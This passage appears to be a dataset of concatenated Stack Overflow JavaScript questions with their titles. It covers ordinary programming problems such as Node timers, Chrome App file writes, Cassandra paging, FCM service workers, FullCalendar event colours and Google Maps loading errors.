'build ' ] ) ; } ;",Grunt build causing Angular app to crash on dist "JS : In the official sites of nodejs ( https : //nodejs.org/api/timers.html # timers_setimmediate_callback_arg ) , it is said that : setImmediate ( ) function schedules `` immediate '' execution of callback after I/O events ' callbacks and before timers set by setTimeout and setInterval are triggered.However in the below code , setTimeout ( ) function executed before setImmediate ( ) . Why ? Result : I write another example , and setTimeout works before setImmediate here too.Output : setImmediate ( function A ( ) { setImmediate ( function B ( ) { console.log ( 1 ) ; setImmediate ( function D ( ) { console.log ( 2 ) ; } ) ; setImmediate ( function E ( ) { console.log ( 3 ) ; } ) ; } ) ; setImmediate ( function C ( ) { console.log ( 4 ) ; setImmediate ( function F ( ) { console.log ( 5 ) ; } ) ; setImmediate ( function G ( ) { console.log ( 6 ) ; } ) ; } ) ; } ) ; setTimeout ( function timeout ( ) { console.log ( 'TIMEOUT FIRED ' ) ; } , 0 ) TIMEOUT FIRED142356 setTimeout ( function timeout ( ) { console.log ( 'TIMEOUT-1 FIRED ' ) ; } , 0 ) setTimeout ( function timeout ( ) { console.log ( 'TIMEOUT-2 FIRED ' ) ; } , 0 ) setImmediate ( function D ( ) { console.log ( 1 ) ; } ) ; setImmediate ( function D ( ) { console.log ( 2 ) ; } ) ; setImmediate ( function D ( ) { console.log ( 3 ) ; } ) ; setTimeout ( function timeout ( ) { console.log ( 'TIMEOUT-1 FIRED ' ) ; } , 0 ) setTimeout ( function timeout ( ) { console.log ( 'TIMEOUT-2 FIRED ' ) ; } , 0 ) TIMEOUT-1 FIREDTIMEOUT-2 FIREDTIMEOUT-1 FIREDTIMEOUT-2 FIRED123",setImmediate ( ) function is called after setTimeout ( ) function "JS : I followed this example : to overwrite some existing file file1.txt and file2.txt . But I found a problem : if the files are not empty , their content wo n't be fully overwritten , only the beginning part will be overwritten.Do I need to remove the files first ? Or do I miss something ? chrome.fileSystem.chooseEntry ( { type : 'openDirectory ' } , function ( entry ) { chrome.fileSystem.getWritableEntry ( entry , function ( entry ) { entry.getFile ( 'file1.txt ' , { create : true } , function ( entry ) { entry.createWriter ( function ( writer ) { writer.write ( new Blob ( [ 'Lorem ' ] , { type : 'text/plain ' } ) ) ; } ) ; } ) ; entry.getFile ( 'file2.txt ' , { create : true } , function ( entry ) { entry.createWriter ( function ( writer ) { writer.write ( new Blob ( [ 'Ipsum ' ] , { type : 'text/plain ' } ) ) ; } ) ; } ) ; } ) ; } ) ;",How to overwrite a file in Chrome App ? "JS : I have an < input type= '' file '' id= '' browse-button '' / > file-browser input in my HTML.I have another button with ID choose-file-button that , when clicked , calls document.getElementById ( `` browse-button '' ) .click ( ) ; . When this button is clicked , it correctly clicks # browse-button and the file dialog opens.Now , I took code from this answer to intercept a Ctrl+O keypress and open my file dialog , so I have this : As you can see , when I intercept Ctrl+O I click on my # choose-file-button button , which calls document.getElementById ( `` browse-button '' ) ; in its onclick handler . I have put a breakpoint in this click handler , and when I press Ctrl+O it does arrive at this breakpoint . However , the file dialog never shows up.Through debugging , I found out that if I put an alert ( ... ) ; after the # choose-file-button click ( ) line , then the alert shows up and the normal page `` Open File '' dialog shows up ( not my file dialog ) . If I do not have this alert , however , nothing shows up at all.Is this a bug ? How can I fix it and make my file dialog show up via the intercepted Ctrl+O ? Edit : I just tested in Chrome , and it works perfectly . However , it still does not work in Firefox . $ ( window ) .bind ( 'keydown ' , function ( e ) { if ( e.ctrlKey || e.metaKey ) { switch ( String.fromCharCode ( e.which ) .toLowerCase ( ) ) { case 's ' : e.preventDefault ( ) ; // does n't matter for this question return false ; case ' o ' : e.preventDefault ( ) ; document.getElementById ( `` choose-file-button '' ) .click ( ) ; return false ; } } return true ; } ) ;",Javascript Intercepted `` Ctrl+O '' Does Not Open My File Dialog "JS : I solved my task , but I do n't like how it works . It looks too heavy for me . If you can suggest me a better way to do exactly the same it would be awesome ! So here is my pain : ) I have a table in SQL DB which contains charts with business data and they are developed by separate department and they are adding them randomly ( at least from my point of view ) . The year range is 1995-2012 ( 3 ) but both of those dates should be flexible because every next month new data appear and they 'll try to add more data for the past.Now it looks like this : To achive this goal I created this model : Here is Controller which contains GetMethod to show View as presented above and Post method to get this Model back parse it and create anothe View with charts.And the last part is actually a View to represent this checkbox field : So user can only choose months of the years if we have charts for them . The year range can change in the future . We must show chart on separate page . We must remember the model ( I keep it in session ) if user decided to go back and select a couple more months.So what I do n't like in this solution:1 . Model is heavy , hard to use , to create and parse . Not easy to add new parameters . 2 . View contains a lot of hidden fields because of model3 . Controller is okay except creation and parse the model.I 'm pretty new for web dev , but I 'm not a newby in software development and I want it look better if it 's possible.I really feel that I 'm missing something here . I appreciate your ideas , suggestions and anything that could simplify this code . Thanks ! UPDATE : I want to clarify why I use so many parameters.I ca n't use only one DateTime because each chart has start DateTime and end DateTime ( begin and the end of the month ) and TypeId . Besides I need somehow to build table in view and put each control in right place . Now I 'm using name of months for this purpose . I also need to know on the View side is control enabled ( if user can select it ) and then on the POST method I need to know which of them was selected so I have bool IsEnabled { get ; set ; } and bool IsSelected { get ; set ; } and other parameters . using System ; using System.Collections.Generic ; namespace MvcApplication1.Models { [ Serializable ] public class MonthlyModel { public int TypeId { get ; set ; } public List < YearDTO > Items { get ; set ; } } [ Serializable ] public class YearDTO { public DateTime Year { get ; set ; } public MonthDTO January { get ; set ; } public MonthDTO February { get ; set ; } public MonthDTO March { get ; set ; } public MonthDTO April { get ; set ; } public MonthDTO May { get ; set ; } public MonthDTO June { get ; set ; } public MonthDTO July { get ; set ; } public MonthDTO August { get ; set ; } public MonthDTO September { get ; set ; } public MonthDTO October { get ; set ; } public MonthDTO November { get ; set ; } public MonthDTO December { get ; set ; } } [ Serializable ] public class MonthDTO { public DateTime start { get ; set ; } public DateTime end { get ; set ; } public int priceTypeId { get ; set ; } public bool IsEnabled { get ; set ; } public bool IsSelected { get ; set ; } } } using System ; using System.Collections.Generic ; using System.Web.Mvc ; using MvcApplication1.Models ; namespace MvcApplication1.Controllers { public class HistoricalController : Controller { [ HttpGet ] public ActionResult Monthly ( ) { int typeId = -1 ; try { typeId = Convert.ToInt32 ( RouteData.Values [ `` id '' ] ) ; } catch ( Exception ) { } MonthlyModel mm ; if ( Session [ String.Format ( `` MonthlySelect { 0 } '' , typeId ) ] ! = null ) { mm = ( MonthlyModel ) Session [ String.Format ( `` MonthlySelect { 0 } '' , typeId ) ] ; } else { mm = GetMonthlyModel ( typeId ) ; } return View ( mm ) ; } private MonthlyModel GetMonthlyModel ( int typeId ) { MonthlyModel mm = new MonthlyModel ( ) ; var list = ChartManager.GetAvailableMonthlyCharts ( typeId , 1 , 3 , new DateTime ( 1995 , 1 , 1 ) , DateTime.Today ) ; foreach ( Tuple < DateTime , DateTime , bool , int > val in list ) { var start = val.Item1 ; var end = val.Item2 ; var exists = val.Item3 ; var pti = val.Item4 ; var items = mm.Items ? ? ( mm.Items = new List < YearDTO > ( ) ) ; int idx = items.FindIndex ( f = > f.Year.Year == start.Year ) ; if ( idx == -1 ) { items.Add ( new YearDTO { Year = new DateTime ( start.Year , 1 , 1 ) } ) ; idx = items.FindIndex ( f = > f.Year.Year == start.Year ) ; } switch ( start.Month ) { case 1 : items [ idx ] .January = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 2 : items [ idx ] .February = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 3 : items [ idx ] .March = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 4 : items [ idx ] .April = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 5 : items [ idx ] .May = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 6 : items [ idx ] .June = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 7 : items [ idx ] .July = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 8 : items [ idx ] .August = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 9 : items [ idx ] .September = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 10 : items [ idx ] .October = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 11 : items [ idx ] .November = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; case 12 : items [ idx ] .December = new MonthDTO { start = start , end = end , priceTypeId = pti , IsEnabled = exists , IsSelected = false } ; break ; } } mm.metalId = typeId ; return mm ; } [ HttpPost ] public ActionResult MonthlyCharts ( MonthlyModel model ) { List < ChartDTO > list = new List < ChartDTO > ( ) ; foreach ( YearDTO dto in model.Items ) { var val = dto.January ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.February ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.March ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.April ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.May ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.June ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.July ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.August ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.September ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.October ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.November ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; val = dto.December ; if ( val.IsSelected ) list.Add ( ChartManager.GetChart ( val.start , val.end , model.metalId , 1 , val.priceTypeId ) ) ; } Session [ String.Format ( `` MonthlySelect { 0 } '' , model.metalId ) ] = model ; ModelState.Clear ( ) ; return View ( list ) ; } } } @ model MvcApplication1.Models.MonthlyModel @ { ViewBag.Title = `` Monthly charts `` ; Layout = `` ~/Views/Shared/_Layout.cshtml '' ; } < h2 > @ ( ViewBag.Title ) < /h2 > < div id= '' choice-container '' > @ using ( Html.BeginForm ( `` MonthlyCharts '' , `` Historical '' , FormMethod.Post ) ) { @ Html.TextBox ( `` metalId '' , Model.metalId , new { @ type = `` hidden '' } ) < table > < tr > < th > Year < /th > < th > January < /th > < th > February < /th > < th > March < /th > < th > April < /th > < th > May < /th > < th > June < /th > < th > July < /th > < th > August < /th > < th > September < /th > < th > October < /th > < th > November < /th > < th > December < /th > < th > < /th > < /tr > @ for ( int i = 0 ; i < Model.Items.Count ( ) ; i++ ) { < tr > < td > @ Html.Label ( `` Items [ `` + i + `` ] .Year '' , Model.Items [ i ] .Year.ToString ( @ '' yyyy '' ) ) @ Html.TextBox ( `` Items [ `` + i + `` ] .Year '' , Model.Items [ i ] .Year , new { @ type = `` hidden '' } ) < /td > < td > < div align=center class= '' editor-field '' > @ if ( Model.Items [ i ] .January.IsEnabled ) { @ Html.CheckBox ( `` Items [ `` + i + `` ] .January.IsSelected '' , Model.Items [ i ] .January.IsSelected , new { @ class = `` chk '' } ) } else { @ Html.CheckBox ( `` Items [ `` + i + `` ] .January.IsSelected '' , Model.Items [ i ] .January.IsSelected , new { @ disabled = `` disabled '' } ) } @ Html.TextBox ( `` Items [ `` + i + `` ] .January.IsEnabled '' , Model.Items [ i ] .January.IsEnabled , new { @ type = `` hidden '' } ) @ Html.TextBox ( `` Items [ `` + i + `` ] .January.start '' , Model.Items [ i ] .January.start , new { @ type = `` hidden '' } ) @ Html.TextBox ( `` Items [ `` + i + `` ] .January.end '' , Model.Items [ i ] .January.end , new { @ type = `` hidden '' } ) @ Html.TextBox ( `` Items [ `` + i + `` ] .January.priceTypeId '' , Model.Items [ i ] .January.priceTypeId , new { @ type = `` hidden '' } ) < /div > < /td > @ * ... . 11 times ... . * @ < /tr > } < /table > < input type= '' submit '' class= '' button '' value= '' Get the image '' / > } < /div >",Better way to show model for month-year calendar and interact with user "JS : I have SpeechSynthesisUtterance working in my native language ( English ) but I need to set the language to Italian for correct pronunciation.The code works correctly in Mac Safari but in iOS Safari the pronunciation is English not Italian.An easy test is the Italian : `` Ho i soldi '' , `` h '' is silent in Italian.Here is a test example of the above code.I have downloaded Italian `` Luca '' and have set it as the Default at Settings : General : Accessibility : Speech : Voices : Italian ; LucaNote : I have posted an inquiry to the Apple Safari and Web Development Forum on Jul 26 , 2018 with the result of no response to date : ( 422 Views , 0 Replies ) .I have also submitted an Apple Developer Technical Support ( DTS ) request August 16 , 2018 that was declined with a suggestion to post to the Web Development Forum.This while this might be deemed off-topic please consider I have tried debugging and requested help from Apple which has been ignored and denied.Udate : Thus seems to be an iOS beta issue , even the Chrome and Firefox apps has the English pronunciation . I have files a Beta bug report on this issue . < ! DOCTYPE html > < html lang='en ' class= '' > < head > < meta charset='UTF-8 ' > < /head > < body > < button id= '' Ho una prenotazione . '' onclick=speak ( id ) > Ho una prenotazione. < /button > I have a reservation < script > function speak ( text ) { var msg = new SpeechSynthesisUtterance ( text ) ; msg.lang = 'it-IT ' ; window.speechSynthesis.speak ( msg ) ; } < /script > < /body > < /html >",iOS Safari SpeechSynthesisUtterance can not set language "JS : came across some twitter banter about how terrible it is to useof course without any hints as to why . If it 's so terrible , why ? What 's the alternative ? ( besides history.back ( ) , which seems to do exact same thing ) . Is it a matter of cross browser compatibility ? For example , I 've seen it used on an error page to let users try to `` go back '' using the above.I 've tried google , but an no avail , in regards to why it 'd be so horrible to use . Any pointers/explanations would be appreciated.Thanks . javascript : history.go ( -1 )",what 's wrong with using 'javascript : history.go ( -1 ) ' ? "JS : We have been debating how best to handle objects in our JS app , studying Stoyan Stefanov 's book , reading endless SO posts on 'new ' , 'this ' , 'prototype ' , closures etc . ( The fact that there are so many , and they have so many competing theories , suggests there is no completely obvious answer ) .So let 's assume the we do n't care about private data . We are content to trust users and developers not to mess around in objects outside the ways we define.Given this , what ( other than it seeming to defy decades of OO style and history ) would be wrong with this technique ? Obviously : There would be nothing to stop someone from mutating ' p ' in unholyways , or simply the logic of PERSON ending up spread all over the place . ( That is true with the canonical 'new ' technique as well ) .It would be a minor hassle to pass ' p ' in to every function that youwanted to use it.This is a weird approach.But are those good enough reasons to dismiss it ? On the positive side : It is efficient , as ( arguably ) opposed to closures with repetitive function declaration.It seems very simple and understandable , as opposed to fiddling with'this ' everywhere.The key point is the foregoing of privacy . I know I will get slammed for this , but , looking for any feedback . Cheers . // namespace to isolate all PERSON 's logicvar PERSON = { } ; // return an object which should only ever contain data.// The Catch : it 's 100 % publicPERSON.constructor = function ( name ) { return { name : name } } // methods that operate on a Person// the thing we 're operating on gets passed inPERSON.sayHello = function ( person ) { alert ( person.name ) ; } var p = PERSON.constructor ( `` Fred '' ) ; var q = PERSON.constructor ( `` Me '' ) ; // normally this coded like ' p.sayHello ( ) 'PERSON.sayHello ( p ) ; PERSON.sayHello ( q ) ;",What 's wrong with this style of coding JavaScript ? ( closures vs. prototypes ) "JS : I am using the Nodejs Cassandra driver and I want to be able to retrieve the previous and next pages . So far the documentation shows the retrieval of the next page , which is saving the pageState from the previous page and passing it as a parameter . Sadly there is no info on how to navigate to the previous page . As I see it there are two options : Save each pageState and page as a key-value pair and use the pageState for the page that you want to navigate to.Save the retrieved data in an array and use the array to navigate to the previous page . ( I do n't think that this is a good solution as I 'll have to store large chunks the data in the memory . ) Both methods does not seem to be an elegant solution to me , but if I have to choose I 'll use the first one.Is there any way to do this out of the box using the Nodejs Cassandra driver ? Another thing is that in the documentation the manual paging is used by calling the eachRow function . If I understand it correctly it gives you every row as soon as it is red from the database . The problem is that this is implemented in my API and I am returning the data for the current page in the HTTP response . So in order for me to do that I 'll have to push each row to a custom array and then return the array when the data for the current page is retrieved . Is there a way to use execute with the manual paging as the above seems redundant ? ThanksEDIT : This is my data model : I am displaying the data in a grid , so that the user can navigate trough it . As I write this I thought of a way to do this without needing the previous functionality , but nevertheless I think that this is a valid case and it will be great if there is an elegant solution to it . CREATE TABLE store_customer_report ( store_id uuid , segment_id uuid , report_time timestamp , sharder int , customer_email text , count int static , first_name text , last_name text , PRIMARY KEY ( ( store_id , segment_id , report_time , sharder ) , customer_email ) ) WITH CLUSTERING ORDER BY ( customer_email ASC )",How to navigate to previous page using Cassandra manual paging "JS : I am using jasny bootstrap offcanvas navbar ( http : //jasny.github.io/bootstrap/components/ # navmenu-offcanvas ) which will close whenever a click event occurs elsewhere on the page . However , we have a Twitter feed that has been modified to move between 3 different Twitter accounts . In order to switch between them a click is triggered . This is causing the navmenu to close each time the tweets switch and I can not seem to prevent it.Here is the twitter scroll code : I 've tried applying preventDefault ( ) and stopPropagation ( ) to the trigger ( 'click ' ) but I am very inexperienced with jQuery and am really just guessing where to put this . var tabCarousel = setInterval ( function ( ) { var tabs = $ ( ' # twittertab > li ' ) , active = tabs.filter ( '.active ' ) , nextone = active.next ( 'li ' ) , toClick = nextone.length ? nextone.find ( ' a ' ) : tabs.eq ( 0 ) .find ( ' a ' ) ; toClick.trigger ( 'click ' ) ; } , 5000 )",Prevent closing of a navbar with another element 's trigger click "JS : I have an object as shown : And I have path as string : I have to delete the object : Which I can do so by doing , But I want to do it dynamically . Since path string can be anything , I want the above ' . ' operator and splice definition to be created dynamically to splice at particular place . const arr = [ { name : 'FolderA ' , child : [ { name : 'FolderB ' , child : [ { name : 'FolderC0 ' , child : [ ] , } , { name : 'FolderC1 ' , child : [ ] , } , ] , } , ] , } , { name : 'FolderM ' , child : [ ] , } , ] ; var path = `` 0-0-1 '' . { name : 'FolderC1 ' , child : [ ] , } , arr [ 0 ] .child [ 0 ] .splice ( 1 , 1 ) ;",Deleting from an object using JavaScript "JS : I 'm using FCM web notification service , when I am calling the register function : The service worker is registered twice , one because of this function , and one by the FCM script . This is my service worker code : One more thing , when I send test notifications , and I click the first message and it opens the URL correctly , but in the same instance of Chrome , all other messages I click open the URL of the first message . This problem does not happen on Firefox , just Chrome . I am using chrome version 55 if ( 'serviceWorker ' in navigator ) { window.addEventListener ( 'load ' , function ( ) { navigator.serviceWorker.register ( '/sw.js ' ) .then ( function ( registration ) { // Registration was successful console.log ( 'ServiceWorker registration successful with scope : ' , registration.scope ) ; } ) .catch ( function ( err ) { // registration failed : ( console.log ( 'ServiceWorker registration failed : ' , err ) ; } ) ; } ) ; } importScripts ( 'https : //www.gstatic.com/firebasejs/3.5.2/firebase-app.js ' ) ; importScripts ( 'https : //www.gstatic.com/firebasejs/3.5.2/firebase-messaging.js ' ) ; 'messagingSenderId ' : ' < my senderid > ' } ) ; const messaging = firebase.messaging ( ) ; messaging.setBackgroundMessageHandler ( function ( payload ) { self.addEventListener ( 'notificationclick ' , function ( event ) { event.notification.close ( ) ; var promise = new Promise ( function ( resolve ) { setTimeout ( resolve , 1000 ) ; } ) .then ( function ( ) { return clients.openWindow ( payload.data.locator ) ; } ) ; event.waitUntil ( promise ) ; } ) ; var notificationTitle = payload.data.title ; var notificationOptions = { body : payload.data.body , icon : payload.data.icon } ; return self.registration.showNotification ( notificationTitle , notificationOptions ) ; } ) ;",Server worker being registered twice "JS : I 'm new to node.js and javascript . I 'm using socket.io and trying to list sockets connected in a given room . When a socket connects I give it a nickname : With this code I can get the id 's of the sockets : But how can I access the nickname property in this loop ? Trying socketID.nickname , or socketID [ nickname ] will trow an error nickname is not define . io.use ( function ( socket , next ) { var handshakeUserid = socket.request._query.userid ; socket.nickname = handshakeUserid ; next ( ) ; } ) ; for ( socketID in io.nsps [ '/ ' ] .adapter.rooms [ room_name ] .sockets ) { console.log ( socketID ) ; }",Socket.io how to list sockets in a room by nickname "JS : I 'm new to JavaScript and CSS and my skills are poor at best . I have an idea how to solve my problem but I do n't have the knowledge to solve it.I have a code like this : I have to append one existing DIV with unique # id to each one of the .detail-group DIVs . I have to specify the .detail-group even though they are exactly the same . I do n't have access to the HTML to edit it manually.If I 'm correct my best shot is to use JS to set IDs to those .detail-group DIVs.I used CSS to target each one of them with this and create a difference : But I do n't know how to detect this difference with JS and work with it.Is it possible to differentiate the order of elements in JS ? If there is , How to do it . And how to add IDs to them ? A side note , I 'm working with Enjin modules and thats why I do n't have access to their HTML . If someone has experience in this field it will be greatly appreciated . < div class= '' detail '' > < div class= '' detail-group '' > < /div > < div class= '' detail-group '' > < /div > < div class= '' detail-group '' > < /div > < /div > .detail-group : nth-child ( 1 ) { padding-right : 0.01px } .detail-group : nth-child ( 2 ) { padding-right : 0.02px } .detail-group : nth-child ( 3 ) { padding-right : 0.03px }","Targeting DIVs without # id , Adding # id" "JS : for eg.Child.jsParent.jsdue to with styles the whole this.child ref in the parent component is changed . Please help me out with a workaround for this , dropping the withStyles is not an option . //assume there is s as styles object and used in this componentclass Child extends Component { render ( ) { return ( < h1 ref= { ( ref ) = > { this.ref = ref } } > Hello < /h1 > ) ; } } export default withStyles ( s ) ( Child ) ; class Parent extends Component { onClick ( ) { console.log ( this.child ) // here access the ref console.log ( this.child.ref ) // undefined } render ( ) { return ( < div > < Child ref= { child = > this.child = child } / > < button onClick= { this.onClick.bind ( this ) } > Click < /button > < /div > ) ; } }",how to access refs in parent when child component is exported with withStyles ? JS : I 'm playing with javascript prototype . I 'm new to it so I 've got a small question.I 'm using this article as a guide.I 've got a Product defined and a Book defined . what is the purpose of Book.prototype.constructor = Book ( ) ; this . I ca n't figure out . I 'm able to call parent constructor with and without it both successfully.Here 's my jsFiddle link Book.prototype = new Product ; Book.prototype.constructor = Book ; // What 's the purpose of this,"Prototype chaining , Constructor , Inheritance" "JS : I 'm trying emblem.js right now . It 's a really good wrapper of Handlebars to write templates . However , the docs are a bit ember.js and handlebars.js dependent . I want to use Emblem.js without Ember , but there is no real explanation on how to compile the template.So can we use emblem.js without ember ( or better , without Handlebars dependency ) ? The way I 'm doing it right now , I have this function to render the template : Is that the correct way to compile Emblem ? It works , but I have a gut feeling that there 's a better way to do that . In Handlebars , the compile line is quite similar : Thanks for the answers . function render ( target , tmpl , data ) { var source = tmpl.html ( ) ; var template = Emblem.compile ( Handlebars , source ) ; var result = template ( data ) ; target.html ( result ) ; } var template = Handlebars.compile ( source ) ;",Compiling Emblem.js Without Ember "JS : I am working on an Angular application using PrimeNG Full Calendar component , this one : https : //primefaces.org/primeng/showcase/ # /fullcalendarThat is based on the Angular FullCalendar component , this one : https : //fullcalendar.io/Here you can find my entire code : https : //bitbucket.org/dgs_poste_team/soc_calendar/src/master/I am finding some difficulties trying to dinamically change the background color of the event rendered on my calendar . I have to have different event background color based on different event information ( the start event time , for example : if an event start at 07:00 is green , if it start at 15:00 it is red , if it start at 23:00 it is blue , but this logic is not important at this time ) .In my project I am dragging external event into my calendar , something like this : https : //fullcalendar.io/docs/external-dragging-demoSo what I want is that when I drag an event into my calendar its background will have a specific color based on the startime.So , as you can see in my BitBucket repository I have this FullcalendarComponent handling the component that contains the calendar that recives events from an external component : I discovered that adding this option eventColor : ' # 378006 ' , I can change the default event background color ... but in this way it is static and I ca n't handle different color for different type of events ( I simply change the default color for all the event , so it is not good for my use case ) .I have this method that is used to revice the events dragged into my calendar : and I was thinking that it could be a good candidate place where to put this behavior ... as you can see in my code I tried to use some method to set the event color but it is not working ... I still obtain the defaul event color when my page is rendered.Why ? What is wrong ? What am I missing ? How can I obtain the desired behavior and set the event color by code ? import { Component , OnInit , ViewChild , ElementRef } from ' @ angular/core ' ; import { EventService } from '../event.service ' ; import dayGridPlugin from ' @ fullcalendar/daygrid ' ; import timeGridPlugin from ' @ fullcalendar/timegrid ' ; import listPlugin from ' @ fullcalendar/list ' ; import interactionPlugin , { Draggable } from ' @ fullcalendar/interaction ' ; import { FullCalendar } from 'primeng ' ; @ Component ( { selector : 'app-fullcalendar ' , templateUrl : './fullcalendar.component.html ' , styleUrls : [ './fullcalendar.component.css ' ] } ) export class FullcalendarComponent implements OnInit { events : any [ ] ; options : any ; header : any ; //people : any [ ] ; @ ViewChild ( 'fullcalendar ' ) fullcalendar : FullCalendar ; constructor ( private eventService : EventService ) { } ngOnInit ( ) { this.eventService.getEvents ( ) .then ( events = > { this.events = events ; } ) ; this.options = { plugins : [ dayGridPlugin , timeGridPlugin , interactionPlugin , listPlugin ] , defaultDate : '2017-02-01 ' , header : { left : 'prev , next ' , center : 'title ' , right : 'dayGridMonth , timeGridWeek , timeGridDay ' } , editable : true , nextDayThreshold : '06:00:00 ' , //eventColor : ' # 378006 ' , dateClick : ( dateClickEvent ) = > { // < -- add the callback here as one of the properties of ` options ` console.log ( `` DATE CLICKED ! ! ! `` ) ; } , eventClick : ( eventClickEvent ) = > { console.log ( `` EVENT CLICKED ! ! ! `` ) ; } , eventDragStop : ( eventDragStopEvent ) = > { console.log ( `` EVENT DRAG STOP ! ! ! `` ) ; } , eventReceive : ( eventReceiveEvent ) = > { console.log ( eventReceiveEvent ) ; eventReceiveEvent.event.setAllDay ( false , { maintainDuration : true } ) ; eventReceiveEvent.eventColor = ' # 378006 ' ; eventReceiveEvent.event.eventColor = ' # 378006 ' ; eventReceiveEvent.event.css ( 'background-color ' , ' # 378006 ' ) ; this.eventService.addEvent ( eventReceiveEvent ) ; } } ; } } eventReceive : ( eventReceiveEvent ) = > { console.log ( eventReceiveEvent ) ; eventReceiveEvent.event.setAllDay ( false , { maintainDuration : true } ) ; eventReceiveEvent.eventColor = ' # 378006 ' ; eventReceiveEvent.event.eventColor = ' # 378006 ' ; eventReceiveEvent.event.css ( 'background-color ' , ' # 378006 ' ) ; this.eventService.addEvent ( eventReceiveEvent ) ; }",How to dinamically change Angular FullCalendar event color ( of a specific event ) ? "JS : I discovered that when I use Prism.js syntax highliting in combination with Turbolinks highlighting behaves strangely . When I load a page that should highlight a syntax for the first time , Prism.js wont be trigger and nothing is highlighted . After reloading the same page Prism will kick in and highlites the code . Page will stay highlighted after that unless I change the location ( go to root ) and return back to it ( after that same scenario ) when I remove Turbolinks from my manifest file ( application.js ) everything works fine ( Of course Turbolinks are n't doing anything ) I do n't want to use because I would have to use that on every single link ( every blog will have some code highlited ) , therefore no point of turbolinks at allI was trying to use Turbolings events like page : change but I 'm terrible with pure JavaScript ( Prism.js is pure JS & I 'm jQuery junky ) so anyone know how to tell Turbolinks to trigger Prism.js syntax highliting ? = link_to `` Foo '' , blogs_path ( blog ) , `` data-no-turbolink '' = > true",Prism.js not working with Rails 4 turbolinks "JS : Today , with no changes in our code , Google Maps is not working , we are getting this errors today : We are loading the API like this : We did not change anything in the page and today when we try the page , nothing is working.Any idea ? Did Google changed anything between yesterday and today ? Uncaught TypeError : Can not read property 'entries ' of undefinedat js ? key=api_key:102at js ? key=api_key:103at Fa ( js ? key=api_key:26 ) at js ? key=api_key:101at js ? key=api_key:141 ( anonymous ) @ js ? key=api_key:102 ( anonymous ) @ js ? key=api_key:103Fa @ js ? key=api_key:26 ( anonymous ) @ js ? key=api_key:101 ( anonymous ) @ js ? key=api_key:141search ? v=_I0tOw3rSQ_doWiefjlY5aQCOGyEGSTSZnF3_H-NxWg1:1 Uncaught TypeError : google.maps.LatLngBounds is not a constructorat a ( search ? v=_I0tOw3rSQ_doWiefjlY5aQCOGyEGSTSZnF3_H-NxWg1:1 ) at Object.d [ as init ] ( search ? v=_I0tOw3rSQ_doWiefjlY5aQCOGyEGSTSZnF3_H-NxWg1:1 ) at HTMLDocument. < anonymous > ( search ? v=_I0tOw3rSQ_doWiefjlY5aQCOGyEGSTSZnF3_H-NxWg1:1 ) at l ( jquery ? v=7Sd5PfzIDKXEDPMwZrZ0oOZN3B1M8lJMYBbJRNRKggY1:1 ) at Object.fireWith [ as resolveWith ] ( jquery ? v=7Sd5PfzIDKXEDPMwZrZ0oOZN3B1M8lJMYBbJRNRKggY1:1 ) at Function.ready ( jquery ? v=7Sd5PfzIDKXEDPMwZrZ0oOZN3B1M8lJMYBbJRNRKggY1:1 ) at HTMLDocument.ht ( jquery ? v=7Sd5PfzIDKXEDPMwZrZ0oOZN3B1M8lJMYBbJRNRKggY1:1 ) < script type= '' text/javascript '' src= '' https : //maps.googleapis.com/maps/api/js ? key=KEY & v=3.exp & libraries=places & language=pt-PT '' > < /script >",Google Maps API Error with no changes in the page code "JS : Well this problem is kind of weird , I have a website where the background image changes with a fadeIn/Out transitionVideo : http : //www.screenr.com/ZCvsWeb in action : http : //toniweb.us/gmThe markup : CSS : Javascript : there is also an overlay div ( class fondo ) ( height and width 100 % ) so i can dectect when the background has been clicked ( i can not use directly the background div because the transition makes it have negative z-index ) the problem is that this transition produces a weird effect in all white textsany idea what am i missing ? < div class= '' fondo '' onclick= '' descargar ( 2,500 ) ; descargar ( 1,500 ) ; '' > < /div > < div id= '' headerimgs '' > < div id= '' headerimg1 '' class= '' headerimg '' > < /div > < div id= '' headerimg2 '' class= '' headerimg '' > < /div > < /div > < ! -- Inicio Cabecera -- > .headerimg { background-position : center top ; background-repeat : no-repeat ; width:100 % ; position : absolute ; height:100 % ; cursor : pointer ; -webkit-background-size : cover ; -moz-background-size : 